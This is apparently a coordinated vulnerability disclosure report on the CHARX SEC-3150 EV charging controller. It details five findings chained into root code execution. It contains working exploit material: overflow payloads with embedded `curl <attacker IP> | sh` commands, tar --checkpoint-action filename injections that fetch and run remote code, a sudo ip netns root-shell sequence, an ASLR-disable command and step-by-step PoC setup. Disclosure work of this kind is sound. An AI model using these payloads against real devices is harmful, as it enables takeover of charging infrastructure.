ivision

January 16, 2025

Vulnerability Disclosure

CHARX SEC-3150

Version 1.1

The material contained in this document represents proprietary, Confidential Information (including Trade Secrets) pertaining to ivision products, services and methodologies. The recipient of this document hereby agrees that this document and the information contained within shall only be disclosed, transferred, copied or used by Client employees or Client representatives who have a need to know such Confidential Information. This document should not be shared with third parties without the prior consent of both client and ivision.

Contents

Executive Summary

Version	Date	Note
1.1	January 16, 2025	Update a Local Privilege Escalation vulnerability (**CHARX-FINDING-004**), documenting the presence of this vulnerability in firmware version 1.7.0.
1.0	January 15, 2025	Initial disclosure

Table 1: Timeline

In November 2024, ivision began researching the CHARX SEC-3150 for potential security vulnerabilities. Through the course of ivision's research, ivision identified 5 vulnerabilities which impacted CHARX SEC-3150 devices running version 1.6.4. When chained, these vulnerabilities allowed attackers with physical access to the device to gain code execution as root on the device and also potentially allowed network adjacent attackers to gain root access to the device (see following note). Due to ASLR restrictions, reliable exploration required anywhere from 3-13 hours depending on the CHARX SEC-3150's configuration. The process could be reduced to between 3-4 hours, if attackers impersonated the CHARX 4,3 LCD Display's update process via DFU. ivision did not go through the process of simulating this process.

Note: ivision did not have access to a CHARX 4,3 LCD Display to evaluate if a network only attacker could successfully exploit this vulnerability. As shown in the accompanying Proof of Concept, the trigger for this exploit was the CHARX 4,3 LCD Display sending the `config` message as shown in Listing 1 to the CharxEichrechtAgent. It was unclear, if the CHARX 4,3 LCD Display would repeatedly send this message as part of the pairing process or if it only sent the message once. If sent multiple times, an attacker would only need network access to obtain root code execution as shown in Section 1.1. Without an existing display, an attacker would require physical access to connect a custom USB device into the unit to trigger the exploit as well as network access.

```
{"Data":{"TT":"Config","IT":"10:45:42,18-07-2024","IV":"ABC"},"Verify":{"CS":148}}

**Note:** Only this message type (Config) is required, not the exact payload as shown above.
```

Listing 1: Exploit trigger sent by CHARX 4,3 LCD Display

1.1. Attack Chain

The following series of event could be performed by an attacker with physical access to the CHARX SEC-3150 to gain code execution on the device:

1. An attacker prepares a custom USB device capable of impersonating the CHARX LCD Display. ivision achieved this using a raspberry pi zero and `gadgetfs`. See Section 2 for details.
2. An attacker connects this device into the CHARX SEC-3150's USB-C port
3. An attacker connects to the CHARX SEC-3150's ETH0 port.
4. An attacker uses **CHARX-FINDING-001** to crash the `CharxEichrechtAgent`.
5. An attacker sends a retained MQTT message to the `/topology`, which dictates that at least 2 other devices are connected to the CHARX SEC-3150
6. An attacker waits for the `CharxEichrechtAgent` to be restarted by the watchdog agent
7. Once restarted, an attacker uses **CHARX-FINDING-002** to shape the `CharxEichrechtAgent`'s .bss memory to contain a long attacker controlled string
8. An attacker uses the attached USB device to trigger **CHARX-FINDING-003** by sending the message shown in Listing 1 resulting in an exploit attempt. If the memory layout matches the expected conditions, code execution as the `charx-ea` user is obtained.
9. Otherwise, Steps 5 - 8 are repeated until the exploit an appropriate memory layout is found (may take ~3-12h) depending on the CHARX SEC-3150 configuration.
10. An attacker uses **CHARX-FINDING-004** to escalate from `charx-ea` to root.
11. An attacker connects to telnet 1883 and modifies the system to persist access.

Note Due to ASLR, the exploit's success rate is 1/256. The watchdog restarts the service every 30 seconds or ~3min depending if the device has an attached display. In order to test this exploit, ivision recommends disabling ASLR temporarily using the command shown in Listing 2. This disables ASLR and shows that the application is vulnerable to exploitation.

```
# echo 0 > /proc/sys/kernel/randomize_va_space
```

Listing 2: How to disable ASLR

1.2. Device Details

Key	Value
Initial Report Date	January 13, 2025
Firmware Version	1.6.4

Proof of Concept

Accompanying this report are multiple files inside poc.tar.gz, which when used result in a root shell on the device. The following details the setup used by ivision to achieve a root shell on the device. Please reach out if you have any issues replicating our results.

2.0.1. CHARX SEC-3150 Setup

The CHARX SEC-3150 should be configured with at least 1 charge controller with Eichrecht mode enabled.

2.0.2. Raspberry Pi Setup

A Raspberry Pi Zero 2 W (RPI) was used to impersonate the CHARX 4,3 LCD Display. The RPI was configured as follows:

1. The RPI was flashed with Raspberry Pi OS Lite Kernel Version 6.6.
2. The contents in poc/rpi were extracted to the device's home directory.
3. The RPI was connected to the CHARX SEC-3150's USB-C port using a USB-micro to USB-C adapter.
4. start_display.sh was ran as root
5. python display_trigger.py was ran as root
6. This script runs indefinitely and does **not** return any indications of success or failure. It is expected that the script should repeatedly print: "Display INIT" and "Trying Exploit"

Note: python3 and pyserial are required

2.0.3. Attacker Setup

Note: The following steps were performed using Ubuntu 24.04.1.

1. The Attacker machine was directly to the CHARX SEC-3150's ETH0 interface
2. A network connection was established. For ivision's testing, the following IPs were used:

IP Address	Host
192.168.180.61	CHARX SEC-3150's ETH0
192.168.180.1	Attacker Machine

Note: If using different IPs ensure to update script.sh accordingly.

3. cd poc/attacker was ran
4. python server.py was ran as root

5. in a separate terminal, cd into poc/attacker
6. python poc/attacker/exploit.py -i $INTERFACE, where INTERFACE is the interface connected to the CHARX SEC-3150
7. Wait until exploit. If ASLR is not disabled, this can take as long as a 12 hours.
8. On success, a message will appear indicating that a telnet shell will be available at DEVICE-IP: 1883
9. Use telnet DEVICE-IP 1883 to obtain a shell.

Note: python3 and paho-mqtt are required

Findings

ID	Title	Status
CHARX-FINDING-001	Denial of Service via invalid topology topic	Open
CHARX-FINDING-002	Out of bounds write into .bss	Open
CHARX-FINDING-003	Insecure sprintf enabled stack buffer overflow	Open
CHARX-FINDING-004	charx_pack_logs enabled Local Privilege Escalation from any user to root	Open
CHARX-FINDING-005	Local Privilege Escalation from user-app to root	Open

Table 4: Table of Findings

3.1. CHARX-FINDING-001 Denial of Service via invalid topology topic

Damage: N/A **Ease**: N/A

Malformed messages sent to the `CharxEichrechtAgent`'s `topology` MQTT topic resulted in the `CharxEichrechtAgent` agent crashing. This could behavior could be abused by network based attackers to cause a denial of service or restart the service by triggering the watchdog.

Details

The `CharxEichrechtAgent` registers multiple callbacks in response to various MQTT topics. One such handler was for the `topology` topic. During fuzzing attempts against the MQTT topic, ivision found that malformed messages caused the `CharxEichrechtAgent` agent to crash. Listing 3 shows one such JSON message.

```
{"data":{}}
```

Listing 3: Malformed toplogy messages cause DoS

3.2. CHARX-FINDING-002 Out of bounds write into .bss

Damage: N/A **Ease**: N/A

The `CharxEichrechtAgent`'s `charging_controllers/<DEVICE ID>/eichrecht/eichrecht_status` topic was vulnerable to an out of bounds write. This enabled an attacker to alter the layout of the `CharxEichrechtAgent`'s .bss memory section enabling them to modify the state of various global and static variables. When paired with **CHARX-FINDING-003** attackers were able to obtain command execution as the `charx-ea` user.

Details

The `CharxEichrechtAgent` registers multiple callbacks in response to various MQTT topics. One such handler was for the `charging_controllers/<DEVICE ID>/eichrecht/eichrecht_status` topic. During a review of the handler's logic ivision identified an out of bounds write in the section shown at Listing 4. Listing 4 shows the handler performing the following operations:

1. Extracts the status field from the topic's JSON body
2. Determines the length of the status field
3. Uses memcpy to write its data starting at .bss:004e8377 (shown as charge_controller_information in Listing 4).

This behavior is dangerous as JSON messages sent to the `charging_controllers/<DEVICE ID>/eichrecht/eichrecht_status` can contain status messages of up to 0x78c bytes in length. By using maliciously crafted status messages, attackers can write past the charge_controller_information field and into other .bss fields including overflowed_bss, which was used in **CHARX-FINDING-003**. This out of bounds write could then be chained with a format string vulnerability to overflow the stack and obtain control over the application.

As an example, Listing 5 shows a message that when sent to the `charging_controllers/<DEVICE ID>/eichrecht/eichrecht_status` topic overwrites part of the `CharxEichrechtAgent`'s .bss field resulting in corrupted display messages being sent during the display pairing process as shown in Listing 6.

Note: Listing 4 was reverse engineered from the `CharxEichrechtAgent` on the CHARX SEC-3150. The code snippets shown was manually created by ivision during the reverse engineering process and should not be expected to match source code.

Note: The function shown at Listing 4 was found at 0x004115e4, when using a base address of 0x00400000.

```
void eichrecht_status_callback(void* topic_json_data, int controller_index){

...

dest = (char *)(&charge_controller_information + controller_index * 0x4e5);
...
status_field = (void *)extract_json_field(&topic_json_data,"status");

if (-0x1 < (int)((uint)*(ushort *)((int)status_field + 0xe) << 0x13)) {
  status_field = *(void **)((int)status_field + 0x8);
}

status_json_field = (char *)extract_json_field(&topic_json_data,"status");
```

```
if (-0x1 < (int)((uint)*(ushort *)(status_json_field + 0xe) << 0x13)) {
  status_json_field = *(char **)(status_json_field + 0x8);
}

status_length = strlen(status_json_field);
memcpy(dest,status_field,status_length);
```

Listing 4: Out of bounds write caused by usage of memcpy and strlen


```
{"status":"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x9f~\xd3\xb6\x9d\x97\xce\xb6\xef\xbe
\xad\xde\x83M\xca\xb6\xf1\xbe\xad\xde\xf3\xbe\xad\xde\xf3\xbe\xad\xde\xf5\xbe\x
ad\xde\xf5\xbe\xad\xde\xf7\xbe\xad\xdeEDDD\xe1\xbe\xad\xde\xe3\xbe\xad\xde\x83M
\xca\xb6\xe5\xbe\xad\xde\xe5\xbe\xad\xde\xe7\xbe\xad\xde\xe7\xbe\xad\xde\xe9\xb
e\xad\xde\xe9\xbe\xad\xde33333333\xef\xbe\xad\xdec\xfb\xcf\xb6\x9d\x97\xce\xb6\
xef\xbe\xad\xde\xef\xbe\xad\xde\xed\x94\xcb\xb6`curl 192.168.180.61 | sh` #Aa0A
a1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac 7Ac8\xd1
\xcf\xb6RUNMEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
```


Listing 5: Message sent to eichrecht_status topic resulting in an overwrite


```
{"Data":{"TT":"Config","CC":3,"Nx":["","BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x9f~\xd3\xb6\x9d\x97\xce\xb6\xef\xbe
\xad\xde\xef\xbe\xad\xde\x83M\xca\xb6\xf1\xbe\xad\xde\xf3\xbe\xad\xde\xf3\xbe\x
ad\xde\xf5\xbe\xad\xde\xf5\xbe\xad\xde\xf7\xbe\xad\xdeEDDD\xe1\xbe\xad\xde\xe3\
xbe\xad\xde\x83M\xca\xb6\xe5\xbe\xad\xde\xe5\xbe\xad\xde\xe7\xbe\xad\xde\xe7\xb
e\xad\xde\xe9\xbe\xad\xde\xe9\xbe\xad\xde33333333\xef\xbe\xad\xdec\xfb\xcf\xb6\
x9d\x97\xce\xb6\xef\xbe\xad\xde\xef\xbe\xad\xde\xed\x94\xcb\xb6`curl 192.168.18 0.1 | sh`
#Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac 2Ac3Ac4Ac5Ac6Ac7Ac8A\xd1
\xcf\xb6RUNMEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA{"TT":"Config","CC":3,"Nx":["","BBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x9f~\xd3\xb6\x9d\x97\xce
\xb6\xef\xbe\xad\xde\xef\xbe\xad\xde\x83M\xca\xb6\xf1\xbe\xad\xde\xf3\xbe\xad\x
de\xf3\xbe\xad\xde\xf5\xbe\xad\xde\xf5\xbe\xad\xde\xf7\xbe\xad\xdeEDDD\xe1\xbe\
xad\xde\xe3\xbe\xad\xde\x83M\xca\xb6\xe5\xbe\xad\xde\xe5\xbe\xad\xde\xe7\xbe\xa
d\xde\xe7\xbe\xad\xde\xe9\xbe\xad\xde\xe9\xbe\xad\xde33333333\xef\xbe\xad\xdec\
xfb\xcf\xb6\x9d\x97\xce\xb6\xef\xbe\xad\xde\xef\xbe\xad\xde\xed\x94\xcb\xb6`cur l 192.168.180.1 | sh`
#Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab 8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A\xd1
\xcf\xb6RUNMEAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"TI":5,"BL":70,"EA":"1.0 .41","SH":"1.0.18",
"SA":"1.0.20","OS":"4.14.93","OP":"3.11","RA":"1.5.1","DL":" de-DE"},"Verify":{"CS":4}}
```

Listing 6: Config message showing corrupted stack

3.3. CHARX-FINDING-003 Insecure sprintf enabled stack buffer overflow

Damage: N/A **Ease**: N/A

When connected to a display, the `CharxEichrechtAgent`'s would periodically send status updates and device configuration information. One of these configuration messages was vulnerable to a buffer overflow when paired with **CHARX-FINDING-002**, the stack overflow could result in code execution on the device. Due to the usage of an insecure sprintf, attackers could overflow the destination buffer to gain control over the stack.

Details

The `CharxEichrechtAgent` supported communicating with an display connected to it via USB-C. As part of the paring process between the display and the `CharxEichrechtAgent`, various messages were sent between the device. One message was of particular interest, as ivision found it could be abused to overflow the stack and gain control over the program counter. This message and its associated logic can be seen in Listing 8.

As the code snippets show, the message was created using `sprintf` and a format string composed of various variables, among these variables was a pointer to overflowed_bss, which pointed to an area writable by **CHARX-FINDING-002**. By overflowing the status string, it was possible to write past the end of the buffer object into the stack and gain control of the stack and program counter. See Section 1.1 for an attack chain outlining how an attacker can leverage the stack overflow into code execution as root.

Note: In order to enter the desired state, where the logic shown in Listing 8 was invoked. The attached display was required to send a "Config" message as shown in Listing 7.

```
{"Data":{"TT":"Config","IT":"10:45:42,18-07-2024","IV":"ABC"},"Verify":{"CS":148}}

**Note:** Only this message type (Config) is required, not the exact payload as shown above.
```

Listing 7: Exploit trigger sent by CHARX 4,3 LCD Display

```
memset(buffer,0x0,0x800);
if (charge_controller_count < 0xd) {
switch((int)charge_controller_count) {
case 0x2:
  <REMOVED FOR BREVITY>
  sprintf(buffer,"{\"TT\":\"StatusCS\",\"Sx\":[\"%s\",\"%s\"],\"Ax\":[\"%s\",\"%s\"]}",puVar3,
          puVar2,&DAT_004e706e,&overflowed_bss);
```

Listing 8: Overflow of buffer via sprintf

Note: Listing 8 was reverse engineered from the `CharxEichrechtAgent` on the CHARX SEC-3150. The code snippets shown was manually created by ivision during the reverse engineering process and should not be expected to match source code.

Note: The function shown at Listing 8 was found at 0x000416f14, when using a base address of 0x00400000.

Note: Exploitation of the stack based buffer overflow required that the device think it had at least 1 other connected devices. This could be achieved by sending a retained message to the `/topology` endpoint with a fake connected device.

3.4. CHARX-FINDING-004 charx_pack_logs enabled Local Privilege Escalation from any user to root

Damage: N/A **Ease**: N/A

The charx_pack_logs script insecurely handled filenames enabling any user with the ability to write to the /log/ or /data/charx-update-agent/upload paths to escalate privileges to root. This was facilitated by the web server enable unauthenticated users to download application logs thus invoking the `charx_pack_logs` script as root.

> ⚠ **Update** - January 16, 2025 - The previously disclosed issue identified a vulnerability present in the 1.6.4 version of the firmware. This issue was updated to document the presence of this vulnerability in firmware version 1.7.0.

Update - January 16, 2025 - Vulnerability exists in version 1.7.0

The `/usr/local/bin/charx_pack_logs` script continued to be vulnerable to argument injection through file names present in the `/logs` and `/data/charx-update-agent/upload` directories. File names from these directories were not properly sanitized, and could be used to inject malicious arguments into the `tar` command, resulting in executing arbitrary commands as the `root` user. The `/data/charx-update-agent/upload/` directory was world-writable (Listing 12), meaning that files with malicious file names could be created by any user. As an example, as the low privileged `user-app` user, ivision created files in the `/data/charx-update-agent/upload/` directory containing `--checkpoint-action` and `--checkpoint`, ending in a space character, followed by `.tar.gz` (Listing 13). Upon execution of `charx_pack_logs`, these file names were appended to the `submodule_logfiles` variable and used as arguments to `tar`. The double-quotation performed by the `charx_pack_logs` script (Listing 14) was insufficient to properly sanitize these inputs resulting in file names being interpreted as arguments, thus resulting in command execution.

Details

The `charx_pack_logs` contained a command injection vulnerability, which could exploited by any attacker with the ability to write to the /log/ or /data/charx_pack_logs directories. Specifically, ivision identified the logic shown in Listing 9 within the `charx_pack_logs` script. Notice that the contents of the `submodule_logfiles` and `charx_logfiles` are generated by calling `/usr/bin/find`. As Listing 10 shows, using find causes a space delimited list of files stored in `/log/` and `/data/charx-update-agent/upload` to be stored in their relevant variables. This list was then used to craft a tar command. This tar command could be subverted by an attacker to execute commands by creating files with malicious filenames containing spaces, dashes, and other shell meta characters. Specifically, the `/bin/tar` command included within the CHARX SEC-3150's firmware supported the `--checkpoint` and `--checkout-action` flags. These flag enables attackers to define commands, which are then executed by tar. As an example of this vulnerability, ivision created the files shown in Listing 11. These files would cause the `charx_pack_logs` file to execute `curl` and execute attacker supplied commands as root.

Note: The command injection vulnerability exists in the `/usr/local/bin/charx_pack_logs` script, however, to escalate privileges the script must be called by a process with higher privileges. This could be achieved by leveraging the device's `/api/v1.0/web/download/logs` API endpoint. This API endpoint, did not require authentication and when called invoked the `charx_pack_logs` script using sudo.

```
submodule_logfiles="$(/usr/bin/find /data/charx-update-agent/upload/ $FIND_ARGS -name *tar.gz)"
charx_logfiles="$(/usr/bin/find /log/ $FIND_ARGS)"

filename=$target_file

# remove all whitespace and "=" character from filename to prevent command injection
filename_safe=${filename//[[:blank:]]/}
filename_safe=${filename_safe//[=]/}

# try to create the file to see whether the filename is valid
if ! "/bin/touch $filename_safe" 2>/dev/null
then
    $TAR $filename_safe $charx_logfiles $submodule_logfiles
```

Listing 9: Charx Pack Logs script

```
echo $(/usr/bin/find /log -type f )
/log/charx-eichrecht-agent/ --checkpoint=1 /log/charx-eichrecht-agent/charx-eichrecht-agent.log /log/charx-
eichrecht-agent/charx-eichrecht-agent.log.1 /log/charx-eichrecht-agent/ --checkpoint-action=exec=curl${IFS}
192.168.180.1${IFS}|sh /log/messages-20240722.gz
```

Listing 10: Output of find results in space seperated filenames

```
root@ev3000:/log/charx-eichrecht-agent# ls -la
total 1135
-rw-------  1 charx-ea charx-ea       0 Jul 18 20:18  --checkpoint-action=exec=curl${IFS}192.168.180.1${IFS}|sh
-rw-------  1 charx-ea charx-ea       0 Jul 18 20:18  --checkpoint=1
```

Listing 11: Malicious filenames result in command injection

```
ev3000:/data/charx-update-agent/upload$ ls -al
total 8
drwxrwxrwx 2 root     charx-ua 4096 Aug 28 22:17 .
...
```

Listing 12: World writable directory permissions of /data/charx-update-agent/upload, as of firmware version 1.7.0

```
ev3000:$ ls -al /data/charx-update-agent/upload
total 8
-rw-r--r-- 1 user-app user-app    0 Aug 28 22:16  --checkpoint-action=exec=curl${IFS}192.168.180.1:8000|sh .tar.gz
-rw-r--r-- 1 user-app user-app    0 Aug 28 22:17  --checkpoint=1 .tar.gz
drwxrwxrwx 2 root     charx-ua 4096 Aug 28 22:17 .
drwxrwxr-x 5 root     charx-ua 4096 Aug 28 12:52 ..
```

Listing 13: Malicious filenames in /data/charx-update-agent/upload result in command injection

```
...
# get filenames of files to include in logs
for file in /data/charx-update-agent/upload/*.tar.gz
do
submodule_logfiles="$submodule_logfiles "$file""
```

```
done

for file in /log/*
do
charx_logfiles="$charx_logfiles "$file""
done

...

# try to create the file to see whether the filename is valid
if ! "/bin/touch $filename_safe" 2>/dev/null
then
    $TAR $filename_safe $charx_logfiles $submodule_logfiles
    $CHMOD_LOGFILE "$filename_safe"
else
    echo "Invalid filename"
    exit 1
fi
```

Listing 14: Charx Pack Logs script version 1.7.0

3.5. CHARX-FINDING-005 Local Privilege Escalation from user-app to root

Damage: N/A **Ease**: N/A

The `user-app` user (accessible via ssh) allows passwordless sudo access to the `/sbin/ip` command. This command can be abused via its network namespace feature to obtain execution as root on the device.

Details

The `/etc/sudoers.d/user-app` file contains the entry `user-app ALL=(ALL) NOPASSWD: /sbin/ip`. This entry enables the `/sbin/ip` command to be executed with root permissions by the `user-app` user. This command can be exploited to gain root execution by performing the steps shown in Listing 15.

```
$ ssh user-app@192.168.1.61
Last login: Thu Jul 18 09:28:59 2024 from 192.168.1.1
ev3000:~$ id
uid=2005(user-app) gid=2000(user-app) groups=2000(user-app)
ev3000:~$ sudo ip netns add ivision
ev3000:~$ sudo ip netns exec ivision /bin/sh
ev3000:/home/user-app# id
uid=0(root) gid=0(root) groups=0(root)
```

Listing 15: Local Privilege Escalation via /sbin/ip